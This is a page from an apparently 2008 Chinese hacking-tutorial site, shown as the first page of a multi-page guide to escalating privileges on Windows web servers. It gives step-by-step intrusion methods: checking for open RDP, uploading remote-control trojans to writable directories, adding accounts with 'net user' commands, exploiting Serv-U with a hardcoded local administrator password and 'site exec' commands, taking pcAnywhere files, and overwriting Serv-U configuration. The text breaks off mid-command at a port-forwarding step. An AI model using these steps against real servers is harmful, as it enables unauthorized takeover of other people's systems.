加入收藏 设为首页
博客 友圈 商城
留言 搜索 投搞
首页 | 网络动态 | 技术文章 | 下载中心 | 设计 | 摄影 | 精彩Flash | 摄影作品 | 顶客排行 | 悠乐论坛
>首页 -> 技术文章 -> 黑客安全

TOP

高效率提取权限
[ 录入者:riqukiqpl | 时间:2008-01-10 02:20:23 | 作者: | 来源:采集所得 | 浏览:1429次 ]
简介:一:检测一下网站的服务器是否开了 3389 远程终端 二:检测一下服务是否用了serv-u (还有是什么版本的)方法一:复制一个网站 用 3389 登陆器连接一下 (是否成功)能连接了,拿下服务器的机率,提高 30%了二:..

一:检测一下网站的服务器是否开了 3389 远程终端
二:检测一下服务是否用了serv-u (还有是什么版本的)
方法

一:复制一个网站 用 3389 登陆器连接一下 (是否成功)能连接了,拿下服务器的机率,提高 30%了
二:用ftp模式查下一个服务器的版本
开始 -- 运行 -- cmd -- ftp (加你要登陆的网站)
--------------------------------------------------------------------------------
第一步:最简单的方法
看有没有权限,能不能执行命令,行的话直接传个鸽子(随便什么远程控制木马都行,成功率极低.
--------------------------------------------------------------------------------
第二步::寻找有执行的权限目录
c:\\\\winnt\\\\system32\\\\inetsrv\\\\data\\\\   
c:\\\\Documents And Settings\\\\All Users\\\\
c:\\\\Program Files\\\\serv-u\\\\
C:\\\\Program Files\\\\Microsoft SQL Server\\\\
这样的目录可以直接上传鸽子,运行
----------------------------------------------------------------------------------- 
第三步:传个cmd和开帐号的ftp.exe上去直接加帐号,命令就是你上传目录D:\\\\VMware Workstation\\\\cmd.exe \\"net user love love /add\\"
-----------------------------------------------------------------------------------   
第四步:asp提权木马直接提权
serv-u 6.3 版本 好象用asp提权木马(不成功)
serv-u 6.2 版本 好象可以 
不过提权能不能用asp木马还要看服务器,设置的变态不,假设直接用asp提权成功之后,还是不成功,但是可以在 cmd之下 用这个帐号连接一下ftp (加你提权的网站)
帐号:LocalAdministrator 密码:$ak#.1k;0@p\\"〉#1@$ak#.1k;0@p
如果成功连接后就可以直接添加管理员帐号了
命令:quote site exec (你添加的帐号) net user 123 123 /ad
quote site exec (把帐号提升到最高权限) net localgroup administartors 123 /add 
---------------------------------------------------------------------------------------
第五步:pcaanywhere
C:\\\\Documents And Settings\\\\All Users\\\\Application Data\\\\Symantec\\\\pcAnywhere\\\\
这里下他的GIF文件,在本地安装pcanywhere上去
---------------------------------------------------------------------------------------
第六步:serv-u覆盖提权
本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 
网上很多教程
----------------------------------------------------------------------------------------
第七步:Serv-U转发端口
给Latte加盐 曾经做个一个(serv-u经典提权全套教程)用到过这个方法,可以学习一下
上传个端口转发工具
命令:(工具名)–v –l 3333 –r

4
<< < 1 2 3 4 5 6 7 > >> 1/9
】【打印繁体】【投稿】【收藏】 【推荐】【举报】 【关闭】 【返回顶部
[上一篇]利用下载漏洞对数据库发起网络上.. [下一篇]3389端口攻击方法

评论

称  呼:
验 证 码:
内  容:

相关栏目

最新文章

热门文章

推荐文章

相关文章

广告位